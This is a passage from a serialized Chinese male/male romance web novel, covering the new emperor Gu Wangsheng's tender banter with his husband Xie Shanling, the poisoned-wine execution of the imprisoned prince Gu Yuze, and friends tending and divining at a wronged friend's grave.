谢善淩拒绝算账:“很显然十天不可能,都是你自说自话,我可没跟你说好。” “朕是天子,天子一言九鼎……噗!哈哈哈哈哈……”顾望笙说着说着自己绷不住了,抱着谢善淩,头埋到他脖颈间撒娇,“真想马上让宋淮安来当这个皇帝,每天这么说话我憋得肠子都要给自己笑断!” 谢善淩本来没觉得好笑,被顾望笙这一说,想了想,就也觉得好笑起来。但是为了安抚这人,谢善淩不笑,淡然道:“你想多了。” “但是有种很丢人的感觉。”顾望笙问,“你不觉得?” “谁会觉得自称朕很丢人?”谢善淩问。 “你不信你试试这么说话。”顾望笙说。 谢善淩无奈道:“谁没事儿试这个……” “你分明就是也觉得这么说话丢人吧!”顾望笙说。 谢善淩深呼吸,说:“朕现在命令你去给朕倒杯茶来,朕口渴。” 顾望笙一听不笑了,瞅着他:“我怎么听你说就觉得还好?但我真觉得我一说就很丢人……” “你想多了!习惯了就好。”谢善淩推他一下,“你不倒水你就松开我,我去……” “我去!”顾望笙说着,却没松开他,而是将谢善淩抱着一起去了桌旁,松开一只手去拿桌上刚刚宫娥离开前放下的茶水,略略使力催热。 在他松开一只手时,谢善淩虽然心知他不会摔到自己,但出于本能还是立刻双手抱住了他的脖子,越发贴紧了他。 顾望笙一边催热凉了的茶水一边笑着炫耀:“我单手也能抱稳你。不过……你好像最近吃喝得多了些。” “嫌重?”谢善淩故意这么问。 顾望笙立刻解释:“怎么可能?我是高兴!以往就想着怎么让你多吃点儿别那么瘦,绞尽脑汁也没什么太多成效……” 忽的声音一停,低头看着谢善淩,咬牙切齿道,“贺子煜有那么让你下饭吗?你原来喜欢他那个样子的???” 据说谢善淩和贺子煜堪称同吃同住……哦,没同住,但也相差不远了,但凡有机会就会待一起!后来还说什么研讨箭法!他俩研讨箭法是想射谁啊?! 作者有话要说: 贺子煜:[可怜]秦大哥就是想得多,我哪有那么弯弯绕绕,思玄喜欢找我罢了。 秦青:因为你比他矮[白眼] 贺子煜:(拿出弓箭)[愤怒] 第129章 谢善淩沉吟片刻, 说:“你不是说他心慕于我?给他个机会……” 顾望笙立刻就要暴怒,谢善淩瞅着他,笑起来,贴上去啵地亲了一嘴, 亲在他高挺笔直的鼻梁上, 侧了侧脸, 在他的脸上又落下一吻。 “……”顾望笙恼火不起来了,嘀嘀咕咕地埋怨, “你怎么又这样……答应我要改的……” “我又不是朕,不需要一言九鼎。”谢善淩慢条斯理地说。 都那样了还要挨这揶揄, 顾望笙当场就想不干了,绷着脸将温热的茶水凑到谢善淩嘴边喂他喝, 冷冷道:“喝!口干还话这么多!” 谢善淩抿了一小口茶,没喝,贴上来要喂给顾望笙喝。 顾望笙堂堂快三十的大男人哪受得了如此的狐媚手段!当即就被迷得头晕眼花喝了下去, 喝完勉强察觉不对,指责道:“你又……” “还喝吗?”谢善淩反客为主地柔声问。 “……你喝吧!不是你口干吗?”顾望笙粗声粗气说着,绷着脸又来喂他。 “我看你比较干, 脸都绷成这样了。”谢善淩道。 “……快喝!”顾望笙努力不中他的套。 谢善淩说话归说话, 还非要凑到他面前几乎和他是嘴贴着脸说着气声:“需要我给夫人滋润一下……” 顾望笙差点没绷住:“谁是夫人……” 谢善淩道:“你啊。我夫君才不会一直生我气。” 顾望笙绷不住了,笑道:“赶紧喝吧!等下又凉了,我内力不要钱的吗?” 谢善淩终于喝了几口,喝够了就又含在嘴里来渡给顾望笙,顾望笙大概知道他喝多少就暂时够了,后面的便一一笑纳。 这么喝完了一盏茶, 顾望笙正要抱他回床上去, 谢善淩提议:“一会儿你就抱着我站地上……” 顾望笙轻咳一声, 依旧把他放床上拉起被子盖住,自己也上来,亲了亲他的脸。谢善淩见他这意思,问:“你不想我吗?我可想你。” 顾望笙搂着他柔声道:“想就这么说会儿话,说困了就睡……我当然想,但你一路风尘仆仆,回来也没个休息,还喝了那么多酒,不累吗?” 谢善淩当然累,被他说得打了个呵欠,但道:“那我睡我的,你想你的……也别有一番风味……” “我在你心里什么样子呀?非得这样?”顾望笙哭笑不得,“困了你就睡,好好休息,休息好了咱俩日子还长着呢,到时候我可不会放过你。” 谢善淩窝在他心口轻声道:“我为你着想,你还反倒埋怨我……” 顾望笙看着他疲惫着强打精神的样子,又好气又好笑:“没埋怨你,心疼你呢,你都不知道自己累成了什么样儿,眼底都有乌青了。” “哦……”谢善淩拖长尾音,说,“嫌我憔悴不好看……” 顾望笙使劲亲他两口:“快睡吧你!一会儿真把我挑起来了又得哼哼唧唧嫌我发牛劲!就没见过你这么爱作的。” 谢善淩顿时推开他,翻了个身不理他了。顾望笙一怔,反省一番,赶紧贴过去道歉不该说他作。 哄了好一阵谢善淩才肯翻身回来重新让他抱,嘴上不饶人地又说他几句,但确实困极了,没说几句就睡着了。 顾望笙不再言语,只是静静地笑着看他熟睡中的样子,偶尔抬手为他抚一抚顽皮乱跑的碎发,防止把他挠痒醒,扰着他的休息。 谢善淩在水城那边的表现他都知道。虽然没能亲眼看见,却能想象到是何等飒爽英姿。 这世上怎会有这么完美的人?又怎么会这么完美的人是自己从小就定亲、长大了成亲,相知相许、将白头到老的人?这人还对自己那么好,累成这样了还顾着哄自己。 顾望笙忍不住在他的鼻尖上轻轻落下一吻,不敢亲更多,怕弄醒他。亲完了继续看他。 看了不知道多久,顾望笙终于也有了点睡意,正要闭眼,谢善淩小睡醒了,低低问:“你怎么还没睡?” 顾望笙没解释,只是应道:“嗯……你怎么又醒了?接着睡?” “最近是这样。”谢善淩说,“这会儿睡醒了一时不困。你在军中时也是这样吧?” 顾望笙越发心疼,吻他一下,简单说:“还好。” 顾望笙打小习惯了,在圣林禅寺时心惊肉跳地怕奸妃派来的杀手半夜刺杀,很难睡个安稳觉,半夜有个风吹,草都还没动他先如惊弓之鸟般动起来。后来在军营里反倒觉得比小时候强太多。 也有可能是因为后来的自己变强了。 但此刻他没说这些。想让谢善淩心疼自己,但不是现在。以后有需要了再说……譬如谢善淩觉得自己不惨了就不心疼自己了的那日。 谢善淩曾担心顾望笙称帝后俩人的事儿,顾望笙觉得这事儿是该担心,但不是谢善淩那时候担心的那个方向。 他更担心谢善淩会因为觉得他强大了就不怜爱他了……在谢善淩的爱里,怜爱占据了很重要的一部分,他不想失去。 谢善淩忽然问:“你这边一切都好吧?” 他当然还是会知道京城的消息,不过想听顾望笙亲口说才放心,而且也想多和顾望笙说说话,夫妻间说什么都是说。 顾望笙:“都好,有点儿不安分的,但很好解决。” “你的正式登基大典得尽早举行。”谢善淩道,“得把事都决定。四处都还有些大梁余孽不肯认的,慢慢收拾,先把名分立住了。” “你每回写信都说这事儿,我敢不放在心上?在准备了。”顾望笙说。 “嗯……”谢善淩稍稍放心,随即问,“顾裕骐那边可还安分?” “他和咱堂妹如今在杭州。”顾望笙说,“一开始他想北上去关外,我让人拦住了他,明确告诉他,我不会放虎归山,不那么信任他。他若老实在我看得到的地方待着,我不会为难他。他考虑过后答应了,但我估计他还得逃。以他性情恐怕还是想摆脱我的监视才放心。” 谢善淩想想道:“过些年可能会好些。” 第130章 ◎谢善淩这时候说这话,顾望笙明白他的意思,就是要亲自带去这杯毒酒。◎ “顾裕珩呢?”谢善淩接着问。 顾望笙有点不高兴, 嘀咕:“你非得在咱俩的床上提别的男人吗……” “那好吧,我问女人。”谢善淩说,“那说一说菅贵妃……” “有什么差别!”顾望笙愤愤咬他脸蛋一下,说, “他俩还关着呢, 顾裕骐在的时候就整治过, 早就没他俩事儿了。” 谢善淩淡淡道:“这俩不能留,以后找个由头做了吧。” “你不说我也打算如此。”顾望笙正经了一些, 说,“顾裕珩虽然愚蠢但是蠢人做出的坏事不少, 只是没怎么得罪到你头上过,但比起潘成栋也不差。” 谢善淩:“正是如此。” 因为皇子的身份和昏君奸妃的庇护, 还有顾裕骐背黑锅,顾裕珩那罄竹难书的过往恶事才看起来似乎无关轻重。 至于奸妃…… 顾望笙的声音越发沉下去,冷冷道:“他娘当年害死我娘, 前些日子我去冷宫看她,逼问之下她都认了,说要残生每日跪拜我娘灵前赎罪……呵!” 他的眼睛都红了, 隐隐闪烁着泪光。 谢善淩便将他拥入怀中, 又安抚起来。 良久,顾望笙的情绪稳定下来,带着恨意嘲讽道:“既她有这份心,我就成全她,让她死后也日夜跪拜我娘。” “嗯。”谢善淩又摸了摸他的额头。 顾望笙回过神来与他对视,忍不住依赖地又蹭了蹭脸。 安静了一会儿, 谢善淩再度开口:“我听闻贤妃自缢了……” 顾望笙道:“这不是我干的, 我只禁她足, 都没短她吃喝,只是她自己想不开,夜里趁人都睡下自缢了。” 贤妃是顾裕泽的母妃,也是顾望笙母亲的妹妹,但两人关系十分冷淡,几乎没什么往来。 “顾裕泽知道这事儿了吗?”谢善淩问。 “还没告诉他。最近事情太多,为免节外生枝,我还没去天牢看他,先扔那儿,过后能抽出手再说。”顾望笙说。 “我去说吧。”谢善淩叹了声气,“我和他之间也该彻底做段了结。” 顾望笙一怔,握了握他的手,低声道:“不必……” 两人心知肚明,顾裕泽是肯定要死的。可到底是那么个身份,得让他略死体面些也低调些,便是一杯毒酒。 顾裕泽肯不肯喝是一回事,强摁头固然可以,顾望笙原本是打算自己去送他这最后一程。 然而谢善淩这时候说这话,顾望笙明白他的意思,就是要亲自带去这杯毒酒。 半晌,谢善淩坚持道:“我去吧。我确实还有些话想和他说。” “我和你一起去。”顾望笙说。 谢善淩拒绝:“你若实在有话和他说,咱俩分开去。” “我和他有屁话说……算了算了你去吧!”顾望笙不爽道。 谢善淩叹道:“别生气了,他都要死了。而且我也没什么好话和他说,就是告诉他,他母亲、朋友都死了,问问他想没想好下黄泉后若见到唐献仪该说些什么。” “……” “不过我想他大概并不在乎这些。”谢善淩幽幽道。 作者有话要说: 更得早又如何呢?就这么点字[白眼] 130-135 第131章 顾裕泽被关在天牢深处, 脚上是镣铐,还拴着两个人头大小的实心铁球。 他的衣裳还算干净,没有血污拷打的痕迹。 他静静地坐在木板搭成的床沿上,面无表情, 一动不动。狱卒向谢善淩介绍他几乎每天都是如此, 除了吃喝拉撒睡, 就是这么待着。 “嗯。多谢。帮我打开牢门就好,酒给我, 我拿进去,和他单独说会儿话。”谢善淩和气道。 顾裕泽一怔, 原本全无神采的眼中猝然有了一瞬的亮,但一闪而逝, 缓慢地转头看向来人。 谢善淩穿着月牙白的圆领长衫,几支挺拔的翠竹自衣摆绣起,长发高束, 只插了一支简单的白玉发簪,很是清俊利落。 恍惚间,似乎有一瞬回到了多年前初见的时候, 他记得谢善淩也是一身洁白的衣衫, 仿若天边皎洁圆润的月亮向自己奔来。 但他很快醒悟过来。不一样的。那个时候谢善淩脸上带着未脱的稚气,嘴角含着灿烂友好的笑容,而此刻那熟悉的面容上全是疏离与淡漠。 牢头有些犹豫:“小的恐怕……” 谢善淩明白他的顾虑,安抚道:“他伤不到我。我也会注意的。若实在有事我会叫你们。” 牢头仍不肯,谢善淩知他好意,再三保证没事, 终于令对方听话离去了。 顾裕泽看着谢善淩对一个素不相识的人温柔耐心, 觉得好笑, 又觉得这一点也不好笑。曾几何时,谢善淩也是这么对自己的。 牢门打开,谢善淩走进来,将放着一杯毒酒的托盘放到木板搭成的床上、顾裕泽的身边。 顾裕泽依旧坐在那,唯独视线随着谢善淩而动,其他地方依旧一动不动。 谢善淩放下毒酒,左右环顾了一下牢房,又打量了一下顾裕泽,淡淡道:“江泊润当日蒙冤下狱,可没你这好过。我去看他,他满身是伤,狼狈不堪。” 顾裕泽没说话。 谢善淩接着道:“我没能亲眼见到唐献仪的样子,但想来也不会好。” 顾裕泽还是没说话。 “宁蔚算对得起你,你被捕后,他不肯投降,奋起顽隅,可其他人不想陪他死,把他杀了投诚。你的其他余孽见状,心知大势已去,要么投降要么自杀。你也算是值了,从未以真心待他们,许多人仍以真心对你。”谢善淩道。 “还有件事,你娘贤妃自缢了。” 顾裕泽终于开口,声音低沉嘶哑,不似往日。 “你还肯来见我,只是为了告诉我这些吗?”他问。 谢善淩看了眼毒酒:“主要是来替唐献仪看着你偿他满门的命。” “……若我那时没有杀唐献仪,你我之间是否就不会到如今地步?”顾裕泽问。 他最不明白的是,谢善淩明明和唐献仪无甚交情,甚至唐献仪还有点讨厌谢善淩,暗暗争高下。可唐献仪死后,谢善淩就像疯了一般揪着这件事与他反目成仇。 当然不是。如果没有唐献仪的死,也许只是会晚一点知晓顾裕泽的真面目,到那时还是少不了反目。 但谢善淩看他一阵,说出口的却是:“是啊。如果你没有杀唐献仪,我会仍然辅佐你,如今登上皇位的就是你。” 顾裕泽忽的笑了笑:“你想让我更悔不当初,故意这么说。” 谢善淩没有承认,也没有否认。 第132章 ◎谢善淩说:“因为我是你皇嫂啊。”◎ 顾裕泽想说些什么, 却到底没说。只是眼中越发沉郁,似乎在竭力隐忍心中想要说出的话来。 虽然顾裕泽和将灵都挺有病的,但在这一点上很不一样。将灵生前死前话都很多,而顾裕泽多数时候的情绪都是内敛的, 寡言少语。 这是自小他母妃对他的要求, 在孩童最活跃的时候, 他被严苛地要求背弃天性。 贤妃与顾望笙的母亲先皇后是姐妹,先皇后在出阁前便是人人称赞的贵女, 大气端庄,才华横溢, 并且国色天香,京中同龄的女子无论家族内外, 都常被拿来与她比较,甚至不是为了比较输赢,而是比较离她还有多远。 原本或许贤妃只是心中略有对这位长姐的羡慕嫉妒, 并未闹出矛盾来,可皇后死后,她被家族生硬地拆散原本与青梅竹马未婚夫的姻缘, 送入宫中延续蔺家的权势, 可菅贵妃宠冠后宫。 皇帝对待皇后尚且还有几分结发夫妻的敬重之情,对待贤妃就全然没有了,并不会因为她是皇后的妹妹而厚待她。而菅贵妃却因为她是皇后的妹妹而迁恨她,少不了磋磨。 也许就是在这一系列的变故与遭遇中,贤妃对待自己机关算尽求来的唯一的儿子很是严格。她所有的希望都在儿子的身上,她要他当太子、当皇帝, 无论这有多不可能实现。 顾裕泽在年纪很小的时候就有过无数次轻生的念头。 他眼看着父皇对自己与母妃的冷淡生疏和对菅贵妃、三皇子的亲昵宠爱, 觉得母妃的痴心妄想实在是没可能实现。 谢善淩出现在这个时候, 如同一阵清风吹散迷雾,又如朝阳驱散黑暗寒冷,给了他希望。 那个时候谢善淩的年纪也还很小,因着家世渊源与他自己模样漂亮、行事大方,爱笑又会说,无论是真心还是表面,至少皇帝看起来是很喜欢他的。其他人更是不需说。谢老太师年岁太大,鲜少出现在人前,但一旦现身,若身边有孙儿陪伴,一定是谢善淩。 谢善淩小时候以女装示人,谢家人总将他打扮得娇俏可人,三皇子顾裕珩看了以为是女孩儿,不由心动,大献殷勤。 皇帝大概觉得有趣,反正孩子们都还小也没什么,不仅不说破,甚至还以长辈逗弄小孩的心态取乐。 这样集万千宠爱于一身的谢善淩,对待同样万千宠爱于一身的顾裕珩的殷勤疏远冷淡,却对无人问津看好半分的顾裕泽主动亲近温暖。 那个时候顾裕泽没有任何朋友,他本就长在深宫里难以接触外人,贤妃还不许他和宫娥太监厮混,就连只猫狗都不许他养,说他会玩物丧志分心。 考虑到谢善淩得圣宠,贤妃倒是没阻止儿子与他来往,只是因为谢家清流又没实权,让儿子应付应付得了,不能因此耽误功课。 顾裕泽已经不太能听进去母妃的话了。他的心思全被从天而降一般闯入自己生命中的这唯一的朋友吸引去了。 谢善淩是完美的,性情好,就连功课也很好。顾裕泽原本很讨厌读书,可是听谢善淩指导自己功课的时候心都静了下来。 他对谢善淩唯一的不满在于,当他鼓起勇气问谢善淩为何对自己那么好时,谢善淩说:“因为我是你皇嫂啊。” 谢善淩说这话时眼中有促狭的笑意,很显然是在逗他。谢善淩有稳重的时候,也有顽皮的时候,喜欢逗人玩。 可是顾裕泽多方打听就知道了这话其实是真的。谢善淩出生不久就真和太子定了亲,太子失踪后也没人说要废掉这门婚事。 顾裕泽从未见过这个太子、自己的长兄,也可以说是表哥,就连母妃也并不在意一个出生就被送去宫外庙里自生自灭、已经失踪、都在私下里说多半是死了的不受宠的小孩,顾裕泽便也没花半分心神在这人身上,他的对手是三皇子顾裕珩。 可当他知道谢善淩与这个人的关系、听到谢善淩说是为了这个人才对自己那么好时,他就痛恨上了这个人,暗暗地祈祷对方真死了。 谢善淩一般不提自己那桩胡闹的亲事,但顾裕泽和顾望笙的亲缘关系非同一般,眉宇之间还颇有些相似,又是个沉稳乖巧的孩子,谢善淩就告诉了他。既然已经告诉了,天性使然,谢善淩有时会忍不住开开玩笑,譬如说:“我将来可是太子妃~” 说者玩笑,听者有心。 顾裕泽觉得谢善淩确实应该当太子妃,如果谢善淩不当,那谁又配当呢?谢善淩值得这个世界上最好的东西。 只是那太子是谁就不一定了…… 他第一次觉得自己确实应该去拼尽全力争一争那太子之位。 就算后来渐渐察觉异样,譬如,谢善淩好像是男扮女装……可是执念已经在心中生根,而且他并没有反感。只要对方是谢善淩,他就觉得都可以。 而谢善淩似乎也在长年累月的陪伴中对自己有了情,不再提及了无音信的太子(后来成了废太子),努力为自己出谋划策丰厚羽翼,很明确地说要辅佐自己攀爬天梯。 顾裕泽忍了又忍,没忍住问将来顾望笙回来了怎么办。 其实他是想问谢善淩与顾望笙的婚约,谢善淩似乎会错了意,又似乎是不好意思直说,只说:“即便他有朝一日找了回来,也不知这些年是如何遭遇,已经被皇上所废,恐怕难回太子之位。何况……” 没说完,但意思都明白。都这么多年了,要回得来早回来了,恐怕早已命丧黄泉。 顾裕泽将谢善淩的话仔细咀嚼。 听起来谢善淩似乎有些无情了,好像眼里就盯着太子妃的位置,谁是太子他跟谁,可顾裕泽觉得这样挺好,这样自己才有机会。顾望笙命薄怪不得别人。 他愈发坚定了夺位之心,他可以为了太子之位做出任何的事情,利用任何的人,牺牲任何的人。 可是他万万没想到,区区一个唐献仪会成为谢善淩抛弃自己的原因。 …… “其实我有一件事很不明白,如果你愿意解答最好,不愿意也就算了。”谢善淩忽然开口这么说。 顾裕泽回过神来,看着他:“你想问我怎么知道你凤命一事?” “……嗯。” 顾裕泽淡淡道:“我起初只是好奇,便暗中调查当年你为何会与顾裕帧定亲……” 起初调查来的只是说谢善淩出生后小灾不断,日夜啼哭,因为八字与顾裕帧契合互补,因而定亲稳住谢善淩的神魂。 顾裕泽不愿相信这个理由。哪怕他不信神鬼玄学,还是很讨厌这种说法。 作者有话要说: 顾裕帧:我们天生一对轮得到你这妖怪讨厌[问号][愤怒] 第133章 ◎顾裕泽垂眸,端起毒酒凑到嘴边◎ 因为讨厌, 顾裕泽便想要证实这个说法是假的,于是他越发用心地去探究当年之事。 当年那个老道士是在众目睽睽之下进的谢府说的谢善淩凤命之言,谁也没料到他会这么说,佘郡主生下孩子都很高兴在凑热闹, 因而一开始在场听到了的人不算少。而谢府人都优柔寡断, 这么大的事儿, 既想遮掩,又舍不得杀人灭口。 在这个世界上, 只有死人才不会泄露秘密,可惜谢家人读遍诗书却仍旧不懂这个道理。 多年来只是没有人去追查这个事情, 但顾裕泽去查了,并且或花重金或胁迫当年在场的人, 最终便得到了答案。 仍然不是他想要的,但比之从前好了一点。谢善淩是凤命,因而需要真龙命格契合, 总比谢善淩就是和顾望笙契合要好。因为真龙命格可以是他顾裕泽。 他便愈发地执着于那个位子。 …… 谢善淩听完,久久无言。 不知过了多久,他嗤笑了一声, 说:“说得对我这么情真意切, 最后事败,不是将你明知说出来会引起多大波澜后果的事告诉了昏君吗?就想拖我下水,让我也不得好过。若非要论,将灵都比你多出真心。” 顾裕泽淡淡地反问:“他那般真心,有好下场吗?” “你也没有。而且我虽与他两立誓要杀他,若抛去立场, 我对他……” 自然不是爱慕之情, 只是人非草木, 谢善淩并不是从不为江凌是将灵一事而遗憾难过。当谢善淩将箭瞄准将灵的脖子,竟有一瞬间的不舍。 那一刻,他也如将灵一般从心底生出那样的诘问:为何将灵要是豲戎人? 若将灵是大梁人,自幼不是受豲戎野蛮残暴掠夺思想的教养,或许他会是第二个孙瑛。 而就在谢善淩迟疑的这一瞬间,将灵吃下了阖杀。他遥遥地朝谢善淩一笑,张了张嘴,似乎想说什么,却最终什么也没说,就这么倒了下去。 谢善淩很快回过神来,瞥了一眼顾裕泽,明知自己刚刚那没说完的话或许会引起他的误会以为自己是对将灵有别种感情,却没解释。 顾裕泽沉默了一阵,忽的嘴角很轻地勾了勾,说:“真心没有好下场。” “至少我也许有朝一日会给将灵上三炷香,但一炷也不会给你上。”谢善淩道。 顾裕泽嗤笑了一声,想反问他上的香就一定会令人趋之若鹜吗,可转瞬想到什么,便问不出口了,垂眸不再言语。 又不知过了多久,谢善淩问:“是你自己走,还是我动手?” 顾裕泽又笑了起来,看着他说:“你动手吧。” 谢善淩却不动。顾裕泽的笑声渐渐大起来,满是嘲讽。 “你下不了手哈哈哈哈哈……”他的声音戛然而止,厉目瞪向牢门口突然出现的人。谢善淩也看了过去,无声地叹口气。 顾望笙一脸不耐烦地走进来说:“老子忍你很久了,谢善淩不想动手是他怕灌你酒能把你给爽着了!你没手是吧?我来!” 说着就去伸手拿那毒酒,顾裕泽却抢先一步夺走了毒酒,阴冷的目光看着顾望笙,不复脸上的笑容。 他想说点什么,却根本不想和这个霸占着原本应该属于自己的谢善淩的人多说一句话。 最后,他又看了谢善淩一眼,没有从谢善淩的脸上看出一丝怜悯与不舍,有的只是疏离与冷漠,仿佛当年宫宴上对待顾裕珩时一样。 还想起了谢善淩抱着谢府里刚满月的小猫来送给他。 母妃不许他养,他不便说,就只是婉拒,说不能随意收受别人家的小猫。谢善淩却说家里的猫都是自己的,自己喜欢谁就送给谁。 看着谢善淩热诚亲近的样子,他不知如何推辞,也不想推辞,只好收下,将温热的软软的小猫藏在宫中某处,每日偷偷地去照看。其实他是很喜欢的。 可惜好景不长,还是被母妃发现了。母妃逼着他亲手杀掉了这只小猫。 但是仔细想想,好像母妃没说过让他杀掉这只小猫,她只是发火打了他一顿,说他不争气,说以后随他去,她不管了。 那之后许多天果然她再没管他,一句话也不理他,他自己捱不过去,就杀了这只小猫向母妃示诚,母妃因此原谅了他。 这么想来,似乎一切都是自己的选择。 …… 顾裕泽垂眸,端起毒酒凑到嘴边,姿态端庄从容,似乎在赴宴饮酒,这是他自幼被标尺调教出来的皇子仪态。 他略微地迟疑了一瞬,睫毛轻颤,想要再看一眼谢善淩,却终究没有抬眼,将酒一饮而尽,结束自己这只有过假象的可笑一生。 作者有话要说: 记上,一千五。大家开始想想福利番外想看啥哈,可点播,但不会点啥都写,选择性写。 第134章 ◎如今那些恶人都已遭受了报应,趁着江泊润也在,带上他来到唐献仪坟前告诉近来的种种事以慰他在天之灵,顺便除除草。◎ 当年唐献仪遭受诬陷并牵连全家, 原本连墓地墓碑都没有,扔到了乱葬岗。 谢善淩问询从外地赶回,花钱请人为唐献仪操办后事,别人只知唐献仪是罪人, 而且看表面上是得罪了三皇子, 更是不敢赚这钱, 怕有命挣没命花。 谢善淩和陈贤直打算自己动手时,顾裕泽假惺惺地派人来帮忙。 当时谢善淩已经知晓了真相, 本不想让他们污染了唐献仪及家人的尸骨,可转念一想又觉得该是他们出力。 何况, 死者已矣,要紧的是早日安葬, 若就自己和陈贤直两人,不知得做到什么时候去,天热, 已经有些腐烂了。 因而就默许了。 但终究只是草草下葬,在京郊一处荒芜的坟场,这些年只有谢善淩和陈贤直来看他, 为他除去坟头总生不完的野草, 供奉一些东西。 谢善淩想过略微整修一下唐献仪的坟,至少面上一层换上熟土,这样就不会再生杂草,但陈贤直说长点儿也好,看着有些生机。 两人总不好在家里供唐献仪的牌位,这也没个说法, 就一年来个一两回, 没别人来, 唐献仪独自待着恐怕寂寞。他生前是那么好热闹的一个人。 谢善淩听到这话,回想起唐献仪生前种种鲜活模样,当即就哭了一场。 如今那些恶人都已遭受了报应,趁着江泊润也在,带上他来到唐献仪坟前告诉近来的种种事以慰他在天之灵,顺便除除草。 热闹归热闹,来了就还是整一整,一年到头总得有那么十天半个月的体面样子,唐献仪也是很爱排场的。 谢善淩连根拔出一根野草来,看了看,说:“还是给他坟弄弄吧,修葺一番,以前是被压着不让,如今都给他家平反了。” 顾望笙登基后接连发布了许多旨意,其中便有许多为从前蒙冤受难之人翻案正名的。 一则,自是出于良心公义;二则,是为了体现得位之正,揭露前朝残害忠良的累累罪行,稳固新江山。 “要迁坟吗?”江锐说着看向陈贤直。 陈贤直在三人中……就算是算上唐献仪,在四人中都是年岁最长的,而且亲自操办过自己长辈的婚事,江锐本能地寻求他的意见。 陈贤直沉吟片刻,指挥谢善淩道:“你算一卦,问问唐献仪自己的意思。” 谢善淩默默看向他,投以一个不可思议的眼神。陈贤直理直气壮:“你不是先前求仙访道过一段时日吗?没学?” “略懂皮毛罢了。”谢善淩说,“此等大事别让我算,我算不来,万一算茬了。” “咳咳咳咳咳……” 江锐不悦地白一旁手里攥着一堆刚拔下来的野草的宋淮安:“都说了你这痨病来京城了找个好点儿的大夫……让你别跟来了,关你什么事儿?一吹风就咳,回头我们还得担责。” “都说了我不是痨病……”宋淮安说着看向谢善淩,“谢公子,我们打仗时你可没少起卦,那会儿你可没说你只懂皮毛。” 谢公子淡然道:“装神弄鬼振奋军心罢了。” 宋淮安说不出话来了,朝他抱拳表示钦佩,低头继续拔草。 陈贤直埋怨道:“学了真到该你的时候就用不上,你可真是……” 谢善淩有点哀怨。以前贤直兄不是这样的。但是现在不止贤直兄,就连他泊润贤弟待他也如待宋淮安一般怨气满满。 作者有话要说: 贺子煜:为什么表哥混进去了我没混进去[爆哭] 第135章 ◎继续给唐献仪上坟。◎ 终究谢善淩还是在陈贤直的催促和江泊润期待的目光中起了一卦。照陈贤直的话来说, 学得皮毛是一回事,求问下要不要迁坟肯定绰绰有余,不然就回清静峰再去学俩月出来吧!学了总不能白学! 宋淮安看着陈贤直作死,暗道那可就不知道秦青要如何找你麻烦了…… 他表弟贺子煜反正是已经被秦青盯上, 委以重任, 下月就扫去江南巡检, 说检好了就不必回了,以后当两浙总督。 若没检好……没检好回来做什么?继续检, 检好为止。 不过话说回来,子煜确实不成个样子。 他以往喜欢秦青还有个收敛, 整日里张口闭口有个兄弟幌子,好歹秦青不亲人, 贺子煜大多数时候都在和别人待一起,可如今就大不一样了…… 如今他喜欢谢善淩,瞅着像是不太想装的样子, 倒也没明说,可他张口闭口就是知己,这比兄弟可暧昧多了。 谢善淩也是……呃, 不知道怎么说才好…… 贺子煜脑子发晕, 谢善淩竟就纵着,一见贺子煜就眉开眼笑亲热得很,恨不能时时站在一起的样子,还动辄夸贺子煜男儿气概。 不是宋淮安有心埋汰亲表弟,但表弟和男儿气概的关系大概真就只在于表弟倒确实不是表妹而是个男儿……就算移情别恋后一改着装也仍是如此啊! 总之在谢善淩这一番亲近欣赏下,醋坛子撒了一地, 酸得宋淮安都闻到了。 …… 在陈贤直的赶鸭子上架中, 谢善淩坐地起卦, 一问…… “说什么?”陈贤直催问。 谢善淩看着卦象,半晌幽幽道:“他问我怎么总来这?” “哈?问他迁不迁坟,他还问起你来了?”陈贤直一摆手,“再问。” “我先回答他……” 陈贤直面对鬼也毫不含糊十分强势:“先问!你俩叙旧等下叙个够,问好了我们趁着今儿人齐赶紧讨论,不日泊润就要回南边了。” 巡检江泊润也去,这是他自个儿的意愿,他去浔阳城。 他跟那铆上了,自叙哪里跌倒的哪里爬起,非要将浔阳城内外厘清,那等国贼禄鬼,有一个算一个,统统挂城门!统!统!挂!城!门!漏一个他江泊润就把自己挂城门!都!挂!城!门!全!都!挂! 谢善淩看了看卦象,硬着头皮又起一次,半晌,说:“他让我先回答他的问题。” 陈贤直:“你究竟会不会算?你算错了吧?他还真问啊?在我们面前你还装神弄鬼你可真是……” “你不信你还让我问?”谢善淩反问。 陈贤直依旧理直气壮:“谁家迁坟不先走走过场?你当我为什么非要你算?反正也都是过场,找你不要钱!” 谢善淩深呼吸,不管他了,先又捻三炷香奉上,闭眼默念回了唐献仪。陈贤直见他这装神弄鬼的样子倒没打扰,站一旁有些紧张地看着。 说是说纯为省钱,但究竟还是不完全不信。而且,若唐献仪当真是还有灵,也好吧。 许久,谢善淩睁开眼睛再来掷卦,看了看,说:“他想已在这待久了,没必要折腾,如果可以的话修缮一下也好,种些好花……”闭了闭眼,说,“多烧点元宝房马华服和仆人美人给他,他亲戚多,以前咱们烧的他根本分不匀。” 陈贤直当即就不悦了:“你跟他说,别的也就罢了,美人不烧。都当鬼了还惦记这事儿……简直有辱斯文!” 唐献仪还在时就不是什么清白人,考前都还在醉宿风月,一掷千金,风流得很! 那会儿陈贤直和他关系也不好。唐献仪嫌陈贤直古板而且穷酸,还跟谢善淩关系好;陈贤直则嫌他纨绔。 谢善淩嗫嚅道:“反正又不是让我们送活人给他……他要就烧吧……” “你还惯上他了?荒谬。”陈贤直做主,朝着墓碑苦口婆心道,“你别贪心不足。如今冤屈也肃清了,该投胎投胎去,十八年后又是一条好汉!若胡来,我烧一座庙给你!” 忽然风起吹动坟旁的几棵树簌簌作响,吓一直没说话认真听着的江锐一跳,本能往后退了两步,踩到树枝一崴,啊的一声差点儿跌倒,好在宋淮安及时扶住他,逮着机会调侃:“没想到你居然怕鬼……” 江锐赶紧嫌弃地甩开他,手在空中挥了好几下,梗着脖子道:“你才怕鬼!我是刚见着有个……有个野兔子跑过去了……” “哦,野兔子你也怕。”宋淮安笑着道,“还以为你天不怕地不怕呢。” 江锐绷着脸瞪他。 陈贤直察觉到他俩的来往,过来将江锐拉开一点挡住,低声教训:“跟你说了多少遍,别跟没娶亲的男子调笑……” “……我能听见。”宋淮安问,“贤直兄你似乎也没娶亲,何故歧视于我?” 贤直兄很不高兴:“你比我大多少岁!” 那个顾望笙也是这样,这个宋淮安也这样!再说远点,宋淮安的那个爱纠缠谢善淩的孤家寡人表弟据说与顾望笙同龄,见着自己也张口就说随谢善淩叫自己贤直兄!物以类聚人以群分古人诚不欺自己!仨不要脸的! 